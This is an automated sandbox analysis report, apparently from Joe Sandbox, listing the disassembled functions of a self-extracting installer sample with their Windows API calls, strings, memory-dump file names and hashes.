Instruction ID: 249c0e6c640cd4de83502f5bcd7bf32b0bbcf7e8427d9ebff6cbca6de4a05882
Opcode Fuzzy Hash: d20b0d5ab646dc1905e3dd9bf1b172df475deb837eadcf4f863000c8f3720636
Instruction Fuzzy Hash: 3B012439260124ABD72E1F69E80C96D3F64FF85750F004024FAB6C799CCB708A81CB88

Uniqueness

Uniqueness Score: -1.00%

Function 01132AAC Relevance: 12.1, APIs: 8, Instructions: 118COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(?,00000104,00000000,00000000,?), ref: 01132AE6
IsDBCSLeadByte.KERNEL32(00000000), ref: 01132AF2
CharNextA.USER32(?), ref: 01132B12
CharUpperA.USER32 ref: 01132B1E
CharPrevA.USER32(?,?), ref: 01132B55
CharNextA.USER32(?), ref: 01132BD4

Memory Dump Source

Source File: 00000003.00000002.252787083.0000000001131000.00000020.00000001.01000000.00000006.sdmp, Offset: 01130000, based on PE: true

Associated: 00000003.00000002.252783611.0000000001130000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252790883.0000000001138000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1130000_v2232713.jbxd

Similarity

API ID: Char$Next$ByteFileLeadModuleNamePrevUpper
String ID:
API String ID: 571164536-0
Opcode ID: 5d18c9f63ed535cf7a0ab89b90a944799444545f5aa91a6184d2eeb4aabd309a
Instruction ID: a93cfc9ad034eebb279b72495bfa4641d8b18caf215c5ab1f2f4c9bd5a0f181d
Opcode Fuzzy Hash: 5d18c9f63ed535cf7a0ab89b90a944799444545f5aa91a6184d2eeb4aabd309a
Instruction Fuzzy Hash: 37412A345042856FDF2EAF389854AFD7F699FD6354F0440AAD8C6C320EDB754A86CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 011343D0 Relevance: 10.6, APIs: 7, Instructions: 97COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 011343F1
GetWindowRect.USER32(00000000,?), ref: 0113440B
GetDC.USER32(?), ref: 01134423
GetDeviceCaps.GDI32(00000000,00000008), ref: 0113442E
GetDeviceCaps.GDI32(00000000,0000000A), ref: 0113443A
ReleaseDC.USER32(?,00000000), ref: 01134447
SetWindowPos.USER32(?,00000000,?,?,00000000,00000000,00000005,?,00000001), ref: 011344A2

Memory Dump Source

Source File: 00000003.00000002.252787083.0000000001131000.00000020.00000001.01000000.00000006.sdmp, Offset: 01130000, based on PE: true

Associated: 00000003.00000002.252783611.0000000001130000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252790883.0000000001138000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1130000_v2232713.jbxd

Similarity

API ID: Window$CapsDeviceRect$Release
String ID:
API String ID: 2212493051-0
Opcode ID: bdd74d91302ea48d17184750cf1f3bb12e0e344a903fd1b84cfacdf3410bfde0
Instruction ID: 3f1f2a30014a3bd444f792d23d00a29275848304778564ca94ce8be453d910e9
Opcode Fuzzy Hash: bdd74d91302ea48d17184750cf1f3bb12e0e344a903fd1b84cfacdf3410bfde0
Instruction Fuzzy Hash: 0A310D72E00119AFCB18CFB8D9889EEBBB5EF89210F154169F815F7248DB706D458B60

Uniqueness

Uniqueness Score: -1.00%

Function 01136298 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 90COMMON

Download Yara Rule

APIs

Part of subcall function 0113171E: _vsnprintf.MSVCRT ref: 01131750

LoadResource.KERNEL32(00000000,00000000,?,?,00000002,00000000,?,011351CA,00000004,00000024,01132F71,?,00000002,00000000), ref: 011362CD
LockResource.KERNEL32(00000000,?,?,00000002,00000000,?,011351CA,00000004,00000024,01132F71,?,00000002,00000000), ref: 011362D4
FreeResource.KERNEL32(00000000,?,?,00000002,00000000,?,011351CA,00000004,00000024,01132F71,?,00000002,00000000), ref: 0113631B
FindResourceA.KERNEL32(00000000,00000004,0000000A), ref: 01136345
FreeResource.KERNEL32(00000000,?,?,00000002,00000000,?,011351CA,00000004,00000024,01132F71,?,00000002,00000000), ref: 01136357

Strings

UPDFILE%lu, xrefs: 011362B3, 01136329

Memory Dump Source

Source File: 00000003.00000002.252787083.0000000001131000.00000020.00000001.01000000.00000006.sdmp, Offset: 01130000, based on PE: true

Associated: 00000003.00000002.252783611.0000000001130000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252790883.0000000001138000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1130000_v2232713.jbxd

Similarity

API ID: Resource$Free$FindLoadLock_vsnprintf
String ID: UPDFILE%lu
API String ID: 2922116661-2329316264
Opcode ID: 5e5781261dfc20f6bee6180e475f53cc4d1b111cf0f110ff80fa8c834275e73d
Instruction ID: 8a2ab16d34e48672627b451f532bed8645cd5b5b83984a4b2d3777f7bfc2b290
Opcode Fuzzy Hash: 5e5781261dfc20f6bee6180e475f53cc4d1b111cf0f110ff80fa8c834275e73d
Instruction Fuzzy Hash: BC21F671A04219BBDB2C9F649C449BEBB7CEF84714B040129FA56E3208DB759A46CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 0113681F Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 81registryCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?,00000000,00000002), ref: 0113686E
GetSystemMetrics.USER32(0000004A), ref: 011368A7
RegOpenKeyExA.ADVAPI32(80000001,Control Panel\Desktop\ResourceLocale,00000000,00020019,?), ref: 011368CC
RegQueryValueExA.ADVAPI32(?,01131140,00000000,?,?,0000000C), ref: 011368F4
RegCloseKey.ADVAPI32(?), ref: 01136902

Part of subcall function 011366F9: CharNextA.USER32(?,00000001,00000000,00000000,?,?,?,0113691A), ref: 01136741

Strings

Control Panel\Desktop\ResourceLocale, xrefs: 011368C2

Memory Dump Source

Source File: 00000003.00000002.252787083.0000000001131000.00000020.00000001.01000000.00000006.sdmp, Offset: 01130000, based on PE: true

Associated: 00000003.00000002.252783611.0000000001130000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252790883.0000000001138000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1130000_v2232713.jbxd

Similarity

API ID: CharCloseMetricsNextOpenQuerySystemValueVersion
String ID: Control Panel\Desktop\ResourceLocale
API String ID: 3346862599-1109908249
Opcode ID: 0c12332745738571a462481e864cabb6304a29ed3b845cb7d90b6d27968cb998
Instruction ID: 472684ab6c40c277a06eb0c786a4a5a16059d49ba256c0394e2b0be130f455c3
Opcode Fuzzy Hash: 0c12332745738571a462481e864cabb6304a29ed3b845cb7d90b6d27968cb998
Instruction Fuzzy Hash: AF318131A00218AFDB39CF15DC44BEAB778EF85668F1001A5E95DE6148E7709A85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 01133A3F Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 73memorystringCOMMON

Download Yara Rule

APIs

Part of subcall function 0113468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 011346A0
Part of subcall function 0113468F: SizeofResource.KERNEL32(00000000,00000000,?,01132D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011346A9
Part of subcall function 0113468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 011346C3
Part of subcall function 0113468F: LoadResource.KERNEL32(00000000,00000000,?,01132D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011346CC
Part of subcall function 0113468F: LockResource.KERNEL32(00000000,?,01132D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011346D3
Part of subcall function 0113468F: memcpy_s.MSVCRT ref: 011346E5
Part of subcall function 0113468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 011346EF

LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000,01132F64,?,00000002,00000000), ref: 01133A5D
LocalFree.KERNEL32(00000000,00000000,00000010,00000000,00000000), ref: 01133AB3

Part of subcall function 011344B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 01134518
Part of subcall function 011344B9: MessageBoxA.USER32(?,?,no230,00010010), ref: 01134554

Part of subcall function 01136285: GetLastError.KERNEL32(01135BBC), ref: 01136285

lstrcmpA.KERNEL32(<None>,00000000), ref: 01133AD0
LocalFree.KERNEL32 ref: 01133B13

Part of subcall function 01136517: FindResourceA.KERNEL32(01130000,000007D6,00000005), ref: 0113652A
Part of subcall function 01136517: LoadResource.KERNEL32(01130000,00000000,?,?,01132EE8,00000000,011319E0,00000547,0000083E,?,?,?,?,?,?,?), ref: 01136538
Part of subcall function 01136517: DialogBoxIndirectParamA.USER32(01130000,00000000,00000547,011319E0,00000000), ref: 01136557
Part of subcall function 01136517: FreeResource.KERNEL32(00000000,?,?,01132EE8,00000000,011319E0,00000547,0000083E,?,?,?,?,?,?,?,00000002), ref: 01136560

LocalFree.KERNEL32(00000000,01133100,00000000,00000000), ref: 01133AF4

Strings

<None>, xrefs: 01133AC5
LICENSE, xrefs: 01133A46

Memory Dump Source

Source File: 00000003.00000002.252787083.0000000001131000.00000020.00000001.01000000.00000006.sdmp, Offset: 01130000, based on PE: true

Associated: 00000003.00000002.252783611.0000000001130000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252790883.0000000001138000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1130000_v2232713.jbxd

Similarity

API ID: Resource$Free$Local$FindLoad$AllocDialogErrorIndirectLastLockMessageParamSizeofStringlstrcmpmemcpy_s
String ID: <None>$LICENSE
API String ID: 2414642746-383193767
Opcode ID: 699b845915ec413472e838b838279578aa3e9ca28695ccea664588b64b5d473d
Instruction ID: 2781b108d7a1464d1c80617be09ef72d4b2e38ac3d446c80c61402689771e5b7
Opcode Fuzzy Hash: 699b845915ec413472e838b838279578aa3e9ca28695ccea664588b64b5d473d
Instruction Fuzzy Hash: AB11B4B0600201ABD73CAF36AC08E1B7DB9EFD4750B10413EB5A1E759CDB7988409764

Uniqueness

Uniqueness Score: -1.00%

Function 011324E0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104,00000000,00000000), ref: 01132506
WritePrivateProfileStringA.KERNEL32(00000000,00000000,00000000,?), ref: 0113252C
_lopen.KERNEL32(?,00000040), ref: 0113253B
_llseek.KERNEL32(00000000,00000000,00000002), ref: 0113254C
_lclose.KERNEL32(00000000), ref: 01132555

Strings

wininit.ini, xrefs: 01132510

Memory Dump Source

Source File: 00000003.00000002.252787083.0000000001131000.00000020.00000001.01000000.00000006.sdmp, Offset: 01130000, based on PE: true

Associated: 00000003.00000002.252783611.0000000001130000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252790883.0000000001138000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1130000_v2232713.jbxd

Similarity

API ID: DirectoryPrivateProfileStringWindowsWrite_lclose_llseek_lopen
String ID: wininit.ini
API String ID: 3273605193-4206010578
Opcode ID: eccf57d94761af3d9baf959c824d1ea44e2085a37e7dc445ca6680062ee54d75
Instruction ID: 1f5e7badff75834f2aa84e58a51fdb7911d7fff2128ba65149990ceb69e72592
Opcode Fuzzy Hash: eccf57d94761af3d9baf959c824d1ea44e2085a37e7dc445ca6680062ee54d75
Instruction Fuzzy Hash: 5301B532600118A7D734AA69AC0CEDFBB7CDF95760F100165FA99D3188DB748B81CB90

Uniqueness

Uniqueness Score: -1.00%

Function 011336EE Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 243windowCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?,00000000,?,?), ref: 01133723
MessageBeep.USER32(00000000), ref: 011339C3
MessageBoxA.USER32(00000000,00000000,no230,00000030), ref: 011339F1

Strings

no230, xrefs: 011339E9, 01133A19
3, xrefs: 01133785

Memory Dump Source

Source File: 00000003.00000002.252787083.0000000001131000.00000020.00000001.01000000.00000006.sdmp, Offset: 01130000, based on PE: true

Associated: 00000003.00000002.252783611.0000000001130000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252790883.0000000001138000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1130000_v2232713.jbxd

Similarity

API ID: Message$BeepVersion
String ID: 3$no230
API String ID: 2519184315-683699594
Opcode ID: 60c78dbf79a6adeafa35d83fd27b38a626254e963d862663962ea6753c69beb7
Instruction ID: 1195daf5744395d42c15ca468bf85e0de24275840eeba945a87834a172e96b76
Opcode Fuzzy Hash: 60c78dbf79a6adeafa35d83fd27b38a626254e963d862663962ea6753c69beb7
Instruction Fuzzy Hash: AD91D671E212249FEB3D8E19C8407AABBB1BFC5304F0501A9D969D724DD7708981CF45

Uniqueness

Uniqueness Score: -1.00%

Function 01136495 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 41libraryCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,advpack.dll,?,C:\Users\user\AppData\Local\Temp\IXP003.TMP\,?,00000000), ref: 011364DF
LoadLibraryExA.KERNEL32(?,00000000,00000008,?,C:\Users\user\AppData\Local\Temp\IXP003.TMP\,?,00000000), ref: 011364F9
LoadLibraryA.KERNEL32(advpack.dll,?,C:\Users\user\AppData\Local\Temp\IXP003.TMP\,?,00000000), ref: 01136502

Strings

C:\Users\user\AppData\Local\Temp\IXP003.TMP\, xrefs: 011364AC
advpack.dll, xrefs: 011364C2, 011364CD, 01136501

Memory Dump Source

Source File: 00000003.00000002.252787083.0000000001131000.00000020.00000001.01000000.00000006.sdmp, Offset: 01130000, based on PE: true

Associated: 00000003.00000002.252783611.0000000001130000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252790883.0000000001138000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1130000_v2232713.jbxd

Similarity

API ID: LibraryLoad$AttributesFile
String ID: C:\Users\user\AppData\Local\Temp\IXP003.TMP\$advpack.dll
API String ID: 438848745-836797370
Opcode ID: 279fde5a7ef882a82ea0b89018e916e9e88eaa60ae871b7f52d8040fad898932
Instruction ID: e56624d54b25acdc6a89e169000f530dd62f4f06726bcf2d3627f9f6ff91a404
Opcode Fuzzy Hash: 279fde5a7ef882a82ea0b89018e916e9e88eaa60ae871b7f52d8040fad898932
Instruction Fuzzy Hash: AE01A270A00108ABD7289B64DC45AEABB78DBA0314F4001A9E595931CCDFB09AC6CB51

Uniqueness

Uniqueness Score: -1.00%

Function 011328E8 Relevance: 7.6, APIs: 5, Instructions: 140memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32 ref: 01132A6F

Part of subcall function 01132773: CharUpperA.USER32(05EA6C4B,00000000,00000000,00000000), ref: 011327A8
Part of subcall function 01132773: CharNextA.USER32(0000054D), ref: 011327B5
Part of subcall function 01132773: CharNextA.USER32(00000000), ref: 011327BC
Part of subcall function 01132773: RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,?,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 01132829
Part of subcall function 01132773: RegQueryValueExA.ADVAPI32(?,01131140,00000000,?,-00000005,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 01132852
Part of subcall function 01132773: ExpandEnvironmentStringsA.KERNEL32(-00000005,?,00000104,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 01132870
Part of subcall function 01132773: RegCloseKey.ADVAPI32(?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 011328A0

GlobalAlloc.KERNEL32(00000042,00000000,?,?,?,?,?,?,?,?,01133938,?,?,?,?,-00000005), ref: 01132958
GlobalLock.KERNEL32 ref: 01132969
GlobalUnlock.KERNEL32(00000000,?,?,?,?,?,?,?,?,01133938,?,?,?,?,-00000005,?), ref: 01132A21
GlobalUnlock.KERNEL32(00000000,?,?,?,?), ref: 01132A81

Memory Dump Source

Source File: 00000003.00000002.252787083.0000000001131000.00000020.00000001.01000000.00000006.sdmp, Offset: 01130000, based on PE: true

Associated: 00000003.00000002.252783611.0000000001130000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252790883.0000000001138000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1130000_v2232713.jbxd

Similarity

API ID: Global$Char$NextUnlock$AllocCloseEnvironmentExpandFreeLockOpenQueryStringsUpperValue
String ID:
API String ID: 3949799724-0
Opcode ID: 01ebf4efba7a534ceac1a0b69cb13a258906da30b521072bd1ea34981c329666
Instruction ID: 59d522aa2bbcbe9eb7ed5f65023449d05e7e2d12325c0a8f901a3196f55b3a5d
Opcode Fuzzy Hash: 01ebf4efba7a534ceac1a0b69cb13a258906da30b521072bd1ea34981c329666
Instruction Fuzzy Hash: 52515E31D00219DFDB29EF98D884AAEFBB5FF88710F14402AE951E3219DB319942DF90

Uniqueness

Uniqueness Score: -1.00%

Function 01134169 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0113468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 011346A0
Part of subcall function 0113468F: SizeofResource.KERNEL32(00000000,00000000,?,01132D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011346A9
Part of subcall function 0113468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 011346C3
Part of subcall function 0113468F: LoadResource.KERNEL32(00000000,00000000,?,01132D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011346CC
Part of subcall function 0113468F: LockResource.KERNEL32(00000000,?,01132D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011346D3
Part of subcall function 0113468F: memcpy_s.MSVCRT ref: 011346E5
Part of subcall function 0113468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 011346EF

LocalAlloc.KERNEL32(00000040,?,00000000,00000000,00000105,00000000,011330B4), ref: 01134189
LocalFree.KERNEL32(00000000,?,00000000,00000000,00000105,00000000,011330B4), ref: 011341E7

Part of subcall function 011344B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 01134518
Part of subcall function 011344B9: MessageBoxA.USER32(?,?,no230,00010010), ref: 01134554

Strings

FINISHMSG, xrefs: 01134173, 011341AB
<None>, xrefs: 011341C5

Memory Dump Source

Source File: 00000003.00000002.252787083.0000000001131000.00000020.00000001.01000000.00000006.sdmp, Offset: 01130000, based on PE: true

Associated: 00000003.00000002.252783611.0000000001130000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252790883.0000000001138000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1130000_v2232713.jbxd

Similarity

API ID: Resource$FindFreeLoadLocal$AllocLockMessageSizeofStringmemcpy_s
String ID: <None>$FINISHMSG
API String ID: 3507850446-3091758298
Opcode ID: 5429333b37760e347c80c617757b467d11a11291e7063437d132992d8e0488fa
Instruction ID: 6b93158ac979fb3e6688eab1a4035eef126d51877aff5654045896b1e4a0ca5f
Opcode Fuzzy Hash: 5429333b37760e347c80c617757b467d11a11291e7063437d132992d8e0488fa
Instruction Fuzzy Hash: E90121F13006147BF33C2A695C84F7B658EDBE0698F004035B746E298CCBA8DC0001B4

Uniqueness

Uniqueness Score: -1.00%

Function 01137155 Relevance: 7.6, APIs: 5, Instructions: 51timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 01137182
GetCurrentProcessId.KERNEL32 ref: 01137191
GetCurrentThreadId.KERNEL32 ref: 0113719A
GetTickCount.KERNEL32 ref: 011371A3
QueryPerformanceCounter.KERNEL32(?), ref: 011371B8

Memory Dump Source

Source File: 00000003.00000002.252787083.0000000001131000.00000020.00000001.01000000.00000006.sdmp, Offset: 01130000, based on PE: true

Associated: 00000003.00000002.252783611.0000000001130000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252790883.0000000001138000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1130000_v2232713.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: 766d727a63057862772b7896ef4ba716eface745f8b9d190bd274d47b833468e
Instruction ID: 1458c5198e1ab604f24916569ee010c447cc16c3efb769cfa7fe46e56f59dcfb
Opcode Fuzzy Hash: 766d727a63057862772b7896ef4ba716eface745f8b9d190bd274d47b833468e
Instruction Fuzzy Hash: 28110AB1D01208DBCB28DFB8E648A9EBBF5EF48355F614965E815E7248E7309A418B40

Uniqueness

Uniqueness Score: -1.00%

Function 011319E0 Relevance: 7.6, APIs: 5, Instructions: 51windowCOMMON

Download Yara Rule

APIs

EndDialog.USER32(?,?), ref: 01131A18
GetDesktopWindow.USER32 ref: 01131A24
LoadStringA.USER32(?,?,00000200), ref: 01131A4F
SetDlgItemTextA.USER32(?,0000083F,00000000), ref: 01131A62
MessageBeep.USER32(000000FF), ref: 01131A6A

Memory Dump Source

Source File: 00000003.00000002.252787083.0000000001131000.00000020.00000001.01000000.00000006.sdmp, Offset: 01130000, based on PE: true

Associated: 00000003.00000002.252783611.0000000001130000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252790883.0000000001138000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1130000_v2232713.jbxd

Similarity

API ID: BeepDesktopDialogItemLoadMessageStringTextWindow
String ID:
API String ID: 1273765764-0
Opcode ID: 42f8da824454d3154203f795bc5d6e8e56bd180096e8eb4220ca55c2473fa10a
Instruction ID: b57a2cc6f21c0ca48f4cd65f17bd7cfb1080f4148d223cc918de8209f55b8439
Opcode Fuzzy Hash: 42f8da824454d3154203f795bc5d6e8e56bd180096e8eb4220ca55c2473fa10a
Instruction Fuzzy Hash: 5811A531500159AFDB28EF68ED08AAE77B8EF89341F004164E566D318CDB309E42DB95

Uniqueness

Uniqueness Score: -1.00%

Function 011363C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 69fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,C:\Users\user\AppData\Local\Temp\IXP003.TMP\), ref: 0113642D
WriteFile.KERNEL32(00000000,?,?,00000000,00000000,?,C:\Users\user\AppData\Local\Temp\IXP003.TMP\), ref: 0113645B
CloseHandle.KERNEL32(00000000,?,C:\Users\user\AppData\Local\Temp\IXP003.TMP\), ref: 0113647A

Strings

C:\Users\user\AppData\Local\Temp\IXP003.TMP\, xrefs: 011363EB

Memory Dump Source

Source File: 00000003.00000002.252787083.0000000001131000.00000020.00000001.01000000.00000006.sdmp, Offset: 01130000, based on PE: true

Associated: 00000003.00000002.252783611.0000000001130000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252790883.0000000001138000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1130000_v2232713.jbxd

Similarity

API ID: File$CloseCreateHandleWrite
String ID: C:\Users\user\AppData\Local\Temp\IXP003.TMP\
API String ID: 1065093856-2493987848
Opcode ID: f9331213cd00d27e1fd329f1fc319951fa4058a924f81bb437b8e9718f69246e
Instruction ID: 8b914785ede71afbb2398d5b068bd95148812a017f46b5922c6aabbe43b0bd37
Opcode Fuzzy Hash: f9331213cd00d27e1fd329f1fc319951fa4058a924f81bb437b8e9718f69246e
Instruction Fuzzy Hash: 4A21D5B1A0021CABDB29DF25DC85FEB776CEB84314F0041A9E595A3188DBB05EC5CF64

Uniqueness

Uniqueness Score: -1.00%

Function 011347E0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000008,?,00000000,01134E6F), ref: 011347EA
LocalAlloc.KERNEL32(00000040,?), ref: 01134823
LocalFree.KERNEL32(00000000,00000000,00000000,00000010,00000000), ref: 01134847

Part of subcall function 011344B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 01134518
Part of subcall function 011344B9: MessageBoxA.USER32(?,?,no230,00010010), ref: 01134554

Strings

C:\Users\user\AppData\Local\Temp\IXP003.TMP\, xrefs: 01134851

Memory Dump Source

Source File: 00000003.00000002.252787083.0000000001131000.00000020.00000001.01000000.00000006.sdmp, Offset: 01130000, based on PE: true

Associated: 00000003.00000002.252783611.0000000001130000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252790883.0000000001138000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1130000_v2232713.jbxd

Similarity

API ID: Local$Alloc$FreeLoadMessageString
String ID: C:\Users\user\AppData\Local\Temp\IXP003.TMP\
API String ID: 359063898-2493987848
Opcode ID: 339001764222c2eb3495f563e727c04b60eba94f10c0fb361a7b11bdd80f4e2a
Instruction ID: c2358230bf0d371ce62cffd6ffee3567586e3f9b2ec0022bc864c2f3a5397d9e
Opcode Fuzzy Hash: 339001764222c2eb3495f563e727c04b60eba94f10c0fb361a7b11bdd80f4e2a
Instruction Fuzzy Hash: FA1155B4600601AFE72D8E68A818F723B5AEBC1304B048568EA82DB78DCB35C802C760

Uniqueness

Uniqueness Score: -1.00%

Function 01136517 Relevance: 6.1, APIs: 4, Instructions: 51COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(01130000,000007D6,00000005), ref: 0113652A
LoadResource.KERNEL32(01130000,00000000,?,?,01132EE8,00000000,011319E0,00000547,0000083E,?,?,?,?,?,?,?), ref: 01136538
DialogBoxIndirectParamA.USER32(01130000,00000000,00000547,011319E0,00000000), ref: 01136557
FreeResource.KERNEL32(00000000,?,?,01132EE8,00000000,011319E0,00000547,0000083E,?,?,?,?,?,?,?,00000002), ref: 01136560

Memory Dump Source

Source File: 00000003.00000002.252787083.0000000001131000.00000020.00000001.01000000.00000006.sdmp, Offset: 01130000, based on PE: true

Associated: 00000003.00000002.252783611.0000000001130000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252790883.0000000001138000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113C000.00000002.00000001.01000000.00000006.sdmpDownload File

